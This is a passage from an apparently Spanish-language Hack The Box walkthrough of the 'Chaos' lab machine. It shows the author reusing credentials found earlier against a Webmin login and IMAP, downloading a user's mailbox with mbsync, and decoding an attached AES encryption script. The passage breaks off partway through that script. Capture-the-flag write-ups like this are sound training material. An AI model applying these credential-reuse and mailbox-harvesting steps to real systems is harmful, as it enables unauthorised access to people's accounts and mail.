</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span>&gt; <span style="color:#a6e22e">setTimeout</span>(<span style="color:#66d9ef">function</span>(){<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">a</span><span style="color:#f92672">=</span>document.<span style="color:#a6e22e">querySelectorAll</span>(<span style="color:#e6db74">&#39;input[type=&#34;password&#34;]&#39;</span>);<span style="color:#a6e22e">i</span><span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;<span style="color:#66d9ef">for</span>(<span style="color:#a6e22e">length</span><span style="color:#f92672">=</span><span style="color:#a6e22e">a</span>.<span style="color:#a6e22e">length</span>;<span style="color:#a6e22e">i</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">length</span>;<span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>){<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">b</span><span style="color:#f92672">=</span>document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">&#34;span&#34;</span>),<span style="color:#a6e22e">d</span><span style="color:#f92672">=</span><span style="color:#ae81ff">30</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">a</span>[<span style="color:#a6e22e">i</span>].<span style="color:#a6e22e">offsetHeight</span><span style="color:#f92672">?</span><span style="color:#ae81ff">1</span><span style="color:#f92672">:</span><span style="color:#ae81ff">0</span>;<span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">add</span>(<span style="color:#e6db74">&#34;input_warning_caps&#34;</span>);<span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#34;title&#34;</span>,<span style="color:#e6db74">&#34;CapsLock&#34;</span>);<span style="color:#a6e22e">d</span><span style="color:#f92672">&amp;&amp;</span><span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">add</span>(<span style="color:#e6db74">&#34;large&#34;</span>);<span style="color:#a6e22e">a</span>[<span style="color:#a6e22e">i</span>].<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">add</span>(<span style="color:#e6db74">&#34;use_input_warning_caps&#34;</span>);<span style="color:#a6e22e">a</span>[<span style="color:#a6e22e">i</span>].<span style="color:#a6e22e">parentNode</span>.<span style="color:#a6e22e">insertBefore</span>(<span style="color:#a6e22e">b</span>,<span style="color:#a6e22e">a</span>[<span style="color:#a6e22e">i</span>].<span style="color:#a6e22e">nextSibling</span>);<span style="color:#a6e22e">a</span>[<span style="color:#a6e22e">i</span>].<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">&#34;blur&#34;</span>,<span style="color:#66d9ef">function</span>(){<span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">nextSibling</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">remove</span>(<span style="color:#e6db74">&#34;visible&#34;</span>)});<span style="color:#a6e22e">a</span>[<span style="color:#a6e22e">i</span>].<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">&#34;keydown&#34;</span>,<span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">c</span>){<span style="color:#e6db74">&#34;function&#34;</span><span style="color:#f92672">===</span><span style="color:#66d9ef">typeof</span> <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">getModifierState</span><span style="color:#f92672">&amp;&amp;</span>((<span style="color:#a6e22e">state</span><span style="color:#f92672">=</span><span style="color:#ae81ff">20</span><span style="color:#f92672">===</span><span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">keyCode</span><span style="color:#f92672">?!</span><span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">getModifierState</span>(<span style="color:#e6db74">&#34;CapsLock&#34;</span>)<span style="color:#f92672">:</span><span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">getModifierState</span>(<span style="color:#e6db74">&#34;CapsLock&#34;</span>))<span style="color:#f92672">?</span><span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">nextSibling</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">add</span>(<span style="color:#e6db74">&#34;visible&#34;</span>)<span style="color:#f92672">:</span><span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">nextSibling</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">remove</span>(<span style="color:#e6db74">&#34;visible&#34;</span>))})};},<span style="color:#ae81ff">100</span>);<span style="color:#66d9ef">function</span> <span style="color:#a6e22e">spinner</span>() {<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;.fa-sign-in:not(.invisible)&#39;</span>),<span style="color:#a6e22e">s</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&lt;span class=&#34;cspinner_container&#34;&gt;&lt;span class=&#34;cspinner&#34;&gt;&lt;span class=&#34;cspinner-icon white small&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&#39;</span>;<span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">x</span>){<span style="color:#a6e22e">x</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">add</span>(<span style="color:#e6db74">&#34;invisible&#34;</span>); <span style="color:#a6e22e">x</span>.<span style="color:#a6e22e">insertAdjacentHTML</span>(<span style="color:#e6db74">&#39;afterend&#39;</span>, <span style="color:#a6e22e">s</span>);<span style="color:#a6e22e">x</span>.<span style="color:#a6e22e">parentNode</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">add</span>(<span style="color:#e6db74">&#34;disabled&#34;</span>);<span style="color:#a6e22e">x</span>.<span style="color:#a6e22e">parentNode</span>.<span style="color:#a6e22e">disabled</span><span style="color:#f92672">=</span><span style="color:#66d9ef">true</span>}} &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/unauthenticated/css/fonts-roboto.min.css?1919999999999911&#34;</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;session_login&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container session_login&#34;</span> <span style="color:#a6e22e">data-dcontainer</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;post&#34;</span> <span style="color:#a6e22e">target</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;_top&#34;</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/session_login.cgi&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-signin session_login clearfix&#34;</span> <span style="color:#a6e22e">role</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form&#34;</span> <span style="color:#a6e22e">onsubmit</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;spinner()&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">i</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;wbm-webmin&#34;</span>&gt;&lt;/<span style="color:#f92672">i</span>&gt;&lt;<span style="color:#f92672">h2</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-signin-heading&#34;</span>&gt;
</span></span><span style="display:flex;"><span>     &lt;<span style="color:#f92672">span</span>&gt;Webmin&lt;/<span style="color:#f92672">span</span>&gt;&lt;/<span style="color:#f92672">h2</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-signin-paragraph&#34;</span>&gt;You must enter a username and password to login to the server on&lt;<span style="color:#f92672">strong</span>&gt; 10.10.10.120&lt;/<span style="color:#f92672">strong</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;input-group form-group&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;input-group-addon&#34;</span>&gt;&lt;<span style="color:#f92672">i</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;fa fa-fw fa-user&#34;</span>&gt;&lt;/<span style="color:#f92672">i</span>&gt;&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-control session_login&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;user&#34;</span> <span style="color:#a6e22e">autocomplete</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;off&#34;</span> <span style="color:#a6e22e">autocapitalize</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;none&#34;</span> <span style="color:#a6e22e">placeholder</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Username&#34;</span>  <span style="color:#a6e22e">autofocus</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;input-group form-group&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;input-group-addon&#34;</span>&gt;&lt;<span style="color:#f92672">i</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;fa fa-fw fa-lock&#34;</span>&gt;&lt;/<span style="color:#f92672">i</span>&gt;&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;password&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-control session_login&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;pass&#34;</span> <span style="color:#a6e22e">autocomplete</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;off&#34;</span> <span style="color:#a6e22e">placeholder</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Password&#34;</span>  &gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;input-group form-group&#34;</span>&gt;
</span></span><span style="display:flex;"><span>            &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;awcheckbox awobject&#34;</span>&gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;iawobject&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;save&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1&#34;</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;save&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;checkbox&#34;</span>&gt; &lt;<span style="color:#f92672">label</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;lawobject&#34;</span> <span style="color:#a6e22e">for</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;save&#34;</span>&gt;Remember me&lt;/<span style="color:#f92672">label</span>&gt;&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>         &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-group form-signin-group&#34;</span>&gt;&lt;<span style="color:#f92672">button</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;btn btn-primary&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span>&gt;&lt;<span style="color:#f92672">i</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;fa fa-sign-in&#34;</span>&gt;&lt;/<span style="color:#f92672">i</span>&gt;&amp;nbsp;&amp;nbsp;Sign in&lt;/<span style="color:#f92672">button</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;&lt;/<span style="color:#f92672">form</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Ahora si queremos hacer un post en la pagina debemos usar un navegador puesto que ejecuta una función de js al hacer el onsubmit.</p>
<p><img src="/img/htb-chaos/www-webmail-login.png" alt="Login on Webmail"></p>
<p>Perooo después de tratar de acceder, observaremos que nos indica un mensaje de error con las credenciales que obtuvimos. Esto es esperado, porque la nota decía &ldquo;webmail&rdquo; no &ldquo;webmin&rdquo;.</p>
<p>Ahora, como no encontré via <code>gobuster</code> la carpeta con el webmail, lo que decidí hacer es el siguiente paso; <strong>usar la información que tengo en otros servicios</strong>. En este caso usar las credenciales en los servicios aun no explorados.</p>
<h1 id="imap-imap-a-trabajar">IMAP, IMAP a trabajar</h1>
<p>Ok, me gustan mucho las herramientas simples de consola, así que decidí conectarme por telnet/curl:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ curl imap://ayush:jiujitsu@10.10.10.120
</span></span><span style="display:flex;"><span>curl: (67) Login denied
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ telnet 10.10.10.120 143
</span></span><span style="display:flex;"><span>Trying 10.10.10.120...
</span></span><span style="display:flex;"><span>Connected to 10.10.10.120.
</span></span><span style="display:flex;"><span>Escape character is &#39;^]&#39;.
</span></span><span style="display:flex;"><span>* OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ STARTTLS LOGINDISABLED] Dovecot (Ubuntu) ready.
</span></span><span style="display:flex;"><span>. login  ayush@chaos.htb jiujitsu
</span></span><span style="display:flex;"><span>* BAD [ALERT] Plaintext authentication not allowed without SSL/TLS, but your client did it anyway. If anyone was listening, the password was exposed.
</span></span><span style="display:flex;"><span>. NO [PRIVACYREQUIRED] Plaintext authentication disallowed on non-secure (SSL/TLS) connections.
</span></span><span style="display:flex;"><span>^C
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ curl imaps://ayush:jiujitsu@10.10.10.120
</span></span><span style="display:flex;"><span>curl: (60) SSL certificate problem: self signed certificate
</span></span><span style="display:flex;"><span>More details here: https://curl.haxx.se/docs/sslcerts.html
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>curl failed to verify the legitimacy of the server and therefore could not
</span></span><span style="display:flex;"><span>establish a secure connection to it. To learn more about this situation and
</span></span><span style="display:flex;"><span>how to fix it, please visit the web page mentioned above.
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ curl -k imaps://ayush:jiujitsu@10.10.10.120
</span></span><span style="display:flex;"><span>* LIST (\NoInferiors \UnMarked \Drafts) &#34;/&#34; Drafts
</span></span><span style="display:flex;"><span>* LIST (\NoInferiors \UnMarked \Sent) &#34;/&#34; Sent
</span></span><span style="display:flex;"><span>* LIST (\HasNoChildren) &#34;/&#34; INBOX
</span></span></code></pre></div><p>Como pudimos ver, nos acepta las credenciales por lo que ahora podemos usar <code>mbsync</code> para bajarnos el buzón del usuario <em>ayush</em></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ cat mbsyncrc
</span></span><span style="display:flex;"><span>IMAPAccount chaos
</span></span><span style="display:flex;"><span>Host chaos.htb
</span></span><span style="display:flex;"><span>User ayush
</span></span><span style="display:flex;"><span>Pass jiujitsu
</span></span><span style="display:flex;"><span>SSLType IMAPS
</span></span><span style="display:flex;"><span>CertificateFile ~/htb/chaos/chaos.pem
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>IMAPStore chaos-remote
</span></span><span style="display:flex;"><span>Account chaos
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>MaildirStore chaos-local
</span></span><span style="display:flex;"><span>Subfolders Verbatim
</span></span><span style="display:flex;"><span>Path ~/htb/chaos/mail-chaos/
</span></span><span style="display:flex;"><span>Inbox ~/htb/chaos/mail-chaos/Inbox
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Channel chaos
</span></span><span style="display:flex;"><span>Master :chaos-remote:
</span></span><span style="display:flex;"><span>Slave :chaos-local:
</span></span><span style="display:flex;"><span>Patterns *
</span></span><span style="display:flex;"><span>Create Both
</span></span><span style="display:flex;"><span>SyncState *
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ openssl s_client -connect 10.10.10.120:993 -showcerts 2&gt;&amp;1 &lt; /dev/null | sed -ne &#39;/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p&#39; | sed -ne &#39;1,/-END CERTIFICATE-/p&#39; &gt; chaos.pem
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ mbsync -c $PWD/mbsync chaos
</span></span><span style="display:flex;"><span>C: 0/1  B: 0/3  M: +0/0 *0/0 #0/0  S: +0/0 *0/0 #0/0
</span></span><span style="display:flex;"><span>Maildir notice: no UIDVALIDITY, creating new.
</span></span><span style="display:flex;"><span>C: 0/1  B: 1/3  M: +0/0 *0/0 #0/0  S: +0/0 *0/0 #0/0
</span></span><span style="display:flex;"><span>Maildir notice: no UIDVALIDITY, creating new.
</span></span><span style="display:flex;"><span>C: 0/1  B: 2/3  M: +0/0 *0/0 #0/0  S: +1/1 *0/0 #0/0
</span></span><span style="display:flex;"><span>Maildir notice: no UIDVALIDITY, creating new.
</span></span><span style="display:flex;"><span>C: 1/1  B: 3/3  M: +0/0 *0/0 #0/0  S: +1/1 *0/0 #0/0
</span></span></code></pre></div><p>Ya que descargamos el buzón de <em>ayush</em> exploremos en casa su contenido y encontraremos el siguiente draft:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ cat mail-chaos/Drafts/cur/1556337228.17058_1.laptop\,U\=1\:2\,S
</span></span><span style="display:flex;"><span>MIME-Version: 1.0
</span></span><span style="display:flex;"><span>Content-Type: multipart/mixed;
</span></span><span style="display:flex;"><span> boundary=&#34;=_00b34a28b9033c43ed09c0950f4176e1&#34;
</span></span><span style="display:flex;"><span>Date: Sun, 28 Oct 2018 17:46:38 +0530
</span></span><span style="display:flex;"><span>From: ayush &lt;ayush@localhost&gt;
</span></span><span style="display:flex;"><span>To: undisclosed-recipients:;
</span></span><span style="display:flex;"><span>Subject: service
</span></span><span style="display:flex;"><span>Message-ID: &lt;7203426a8678788517ce8d28103461bd@webmail.chaos.htb&gt;
</span></span><span style="display:flex;"><span>X-Sender: ayush@localhost
</span></span><span style="display:flex;"><span>User-Agent: Roundcube Webmail/1.3.8
</span></span><span style="display:flex;"><span>X-TUID: EzTG0mbDWEYx
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--=_00b34a28b9033c43ed09c0950f4176e1
</span></span><span style="display:flex;"><span>Content-Transfer-Encoding: 7bit
</span></span><span style="display:flex;"><span>Content-Type: text/plain; charset=US-ASCII;
</span></span><span style="display:flex;"><span> format=flowed
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Hii, sahay
</span></span><span style="display:flex;"><span>Check the enmsg.txt
</span></span><span style="display:flex;"><span>You are the password XD.
</span></span><span style="display:flex;"><span>Also attached the script which i used to encrypt.
</span></span><span style="display:flex;"><span>Thanks,
</span></span><span style="display:flex;"><span>Ayush
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--=_00b34a28b9033c43ed09c0950f4176e1
</span></span><span style="display:flex;"><span>Content-Transfer-Encoding: base64
</span></span><span style="display:flex;"><span>Content-Type: application/octet-stream;
</span></span><span style="display:flex;"><span> name=enim_msg.txt
</span></span><span style="display:flex;"><span>Content-Disposition: attachment;
</span></span><span style="display:flex;"><span> filename=enim_msg.txt;
</span></span><span style="display:flex;"><span> size=272
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>MDAwMDAwMDAwMDAwMDIzNK7uqnoZitizcEs4hVpDg8z18LmJXjnkr2tXhw/AldQmd/g53L6pgva9
</span></span><span style="display:flex;"><span>RdPkJ3GSW57onvseOe5ai95/M4APq+3mLp4GQ5YTuRTaGsHtrMs7rNgzwfiVor7zNryPn1Jgbn8M
</span></span><span style="display:flex;"><span>7Y2mM6I+lH0zQb6Xt/JkhOZGWQzH4llEbyHvvlIjfu+MW5XrOI6QAeXGYTTinYSutsOhPilLnk1e
</span></span><span style="display:flex;"><span>6Hq7AUnTxcMsqqLdqEL5+/px3ZVZccuPUvuSmXHGE023358ud9XKokbNQG3LOQuRFkpE/LS10yge
</span></span><span style="display:flex;"><span>+l6ON4g1fpYizywI3+h9l5Iwpj/UVb0BcVgojtlyz5gIv12tAHf7kpZ6R08=
</span></span><span style="display:flex;"><span>--=_00b34a28b9033c43ed09c0950f4176e1
</span></span><span style="display:flex;"><span>Content-Transfer-Encoding: base64
</span></span><span style="display:flex;"><span>Content-Type: text/x-python; charset=us-ascii;
</span></span><span style="display:flex;"><span> name=en.py
</span></span><span style="display:flex;"><span>Content-Disposition: attachment;
</span></span><span style="display:flex;"><span> filename=en.py;
</span></span><span style="display:flex;"><span> size=804
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ZGVmIGVuY3J5cHQoa2V5LCBmaWxlbmFtZSk6CiAgICBjaHVua3NpemUgPSA2NCoxMDI0CiAgICBv
</span></span><span style="display:flex;"><span>dXRwdXRGaWxlID0gImVuIiArIGZpbGVuYW1lCiAgICBmaWxlc2l6ZSA9IHN0cihvcy5wYXRoLmdl
</span></span><span style="display:flex;"><span>dHNpemUoZmlsZW5hbWUpKS56ZmlsbCgxNikKICAgIElWID1SYW5kb20ubmV3KCkucmVhZCgxNikK
</span></span><span style="display:flex;"><span>CiAgICBlbmNyeXB0b3IgPSBBRVMubmV3KGtleSwgQUVTLk1PREVfQ0JDLCBJVikKCiAgICB3aXRo
</span></span><span style="display:flex;"><span>IG9wZW4oZmlsZW5hbWUsICdyYicpIGFzIGluZmlsZToKICAgICAgICB3aXRoIG9wZW4ob3V0cHV0
</span></span><span style="display:flex;"><span>RmlsZSwgJ3diJykgYXMgb3V0ZmlsZToKICAgICAgICAgICAgb3V0ZmlsZS53cml0ZShmaWxlc2l6
</span></span><span style="display:flex;"><span>ZS5lbmNvZGUoJ3V0Zi04JykpCiAgICAgICAgICAgIG91dGZpbGUud3JpdGUoSVYpCgogICAgICAg
</span></span><span style="display:flex;"><span>ICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgY2h1bmsgPSBpbmZpbGUucmVhZChjaHVu
</span></span><span style="display:flex;"><span>a3NpemUpCgogICAgICAgICAgICAgICAgaWYgbGVuKGNodW5rKSA9PSAwOgogICAgICAgICAgICAg
</span></span><span style="display:flex;"><span>ICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBlbGlmIGxlbihjaHVuaykgJSAxNiAhPSAwOgog
</span></span><span style="display:flex;"><span>ICAgICAgICAgICAgICAgICAgIGNodW5rICs9IGInICcgKiAoMTYgLSAobGVuKGNodW5rKSAlIDE2
</span></span><span style="display:flex;"><span>KSkKCiAgICAgICAgICAgICAgICBvdXRmaWxlLndyaXRlKGVuY3J5cHRvci5lbmNyeXB0KGNodW5r
</span></span><span style="display:flex;"><span>KSkKCmRlZiBnZXRLZXkocGFzc3dvcmQpOgogICAgICAgICAgICBoYXNoZXIgPSBTSEEyNTYubmV3
</span></span><span style="display:flex;"><span>KHBhc3N3b3JkLmVuY29kZSgndXRmLTgnKSkKICAgICAgICAgICAgcmV0dXJuIGhhc2hlci5kaWdl
</span></span><span style="display:flex;"><span>c3QoKQoK
</span></span><span style="display:flex;"><span>--=_00b34a28b9033c43ed09c0950f4176e1--
</span></span></code></pre></div><p>Ayush estaba preparando un correo con un texto cifrado, el script de cifrado y nos dice que la contraseña es <strong>sahay</strong></p>
<p>Cambiemos el encoding de BASE64 a Texto para en.py y tendremos lo siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">encrypt</span>(key, filename):
</span></span><span style="display:flex;"><span>    chunksize <span style="color:#f92672">=</span> <span style="color:#ae81ff">64</span><span style="color:#f92672">*</span><span style="color:#ae81ff">1024</span>
</span></span><span style="display:flex;"><span>    outputFile <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;en&#34;</span> <span style="color:#f92672">+</span> filename
</span></span><span style="display:flex;"><span>    filesize <span style="color:#f92672">=</span> str(os<span style="color:#f92672">.</span>path<span style="color:#f92672">.</span>getsize(filename))<span style="color:#f92672">.</span>zfill(<span style="color:#ae81ff">16</span>)
</span></span><span style="display:flex;"><span>    IV <span style="color:#f92672">=</span>Random<span style="color:#f92672">.</span>new()<span style="color:#f92672">.</span>read(<span style="color:#ae81ff">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    encryptor <span style="color:#f92672">=</span> AES<span style="color:#f92672">.</span>new(key, AES<span style="color:#f92672">.</span>MODE_CBC, IV)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">with</span> open(filename, <span style="color:#e6db74">&#39;rb&#39;</span>) <span style="color:#66d9ef">as</span> infile:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">with</span> open(outputFile, <span style="color:#e6db74">&#39;wb&#39;</span>) <span style="color:#66d9ef">as</span> outfile:
</span></span><span style="display:flex;"><span>            outfile<span style="color:#f92672">.</span>write(filesize<span style="color:#f92672">.</span>encode(<span style="color:#e6db74">&#39;utf-8&#39;</span>))
</span></span><span style="display:flex;"><span>            outfile<span style="color:#f92672">.</span>write(IV)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">while</span> <span style="color:#66d9ef">True</span>:
</span></span><span style="display:flex;"><span>                chunk <span style="color:#f92672">=</span> infile<span style="color:#f92672">.</span>read(chunksize)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> len(chunk) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">elif</span> len(chunk) <span style="color:#f92672">%</span> <span style="color:#ae81ff">16</span> <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>                    chunk <span style="color:#f92672">+=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39; &#39;</span> <span style="color:#f92672">*</span> (<span style="color:#ae81ff">16</span> <span style="color:#f92672">-</span> (len(chunk) <span style="color:#f92672">%</span> <span style="color:#ae81ff">16</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                outfile<span style="color:#f92672">.</span>write(encryptor<span style="color:#f92672">.</span>encrypt(chunk))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">getKey</span>(password):
